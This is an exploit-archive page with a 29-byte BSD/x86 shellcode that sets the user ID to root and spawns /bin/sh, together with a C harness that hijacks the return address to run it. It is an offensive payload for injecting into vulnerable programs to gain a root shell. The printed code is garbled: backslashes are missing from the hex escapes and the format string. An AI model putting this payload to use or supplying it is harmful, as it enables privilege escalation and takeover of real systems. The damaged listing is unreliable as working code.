[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : bsd/x86 execve /bin/sh setuid (0) 29 bytes
# Published : 2004-09-26
# Author : Matias Sedalo
# Previous Title : bsd/x86 execve /bin/sh multiplatform 27 bytes
# Next Title : bsd/x86 portbind port 31337 83 bytes


/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   s0t4ipv6@shellcode.com.ar

   29 bytes.

   -setuid(0);
   -execve(/bin/sh);
*/

char shellcode[]=

   "x31xc0"                      // xor          %eax,%eax
   "x50"                          // push         %eax
   "xb0x17"                      // mov          $0x17,%al
   "x50"                          // push         %eax
   "xcdx80"                      // int          $0x80
   "x50"                          // push         %eax
   "x68x6ex2fx73x68"          // push         $0x68732f6e
   "x68x2fx2fx62x69"          // push         $0x69622f2f
   "x89xe3"                      // mov          %esp,%ebx
   "x50"                          // push         %eax
   "x54"                          // push         %esp
   "x53"                          // push         %ebx
   "x50"                          // push         %eax
   "xb0x3b"                      // mov          $0x3b,%al
   "xcdx80";                     // int          $0x80

main()
{
   int *ret;
   printf("Shellcode lenght=%dn",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}

// www.Syue.com [2004-09-26]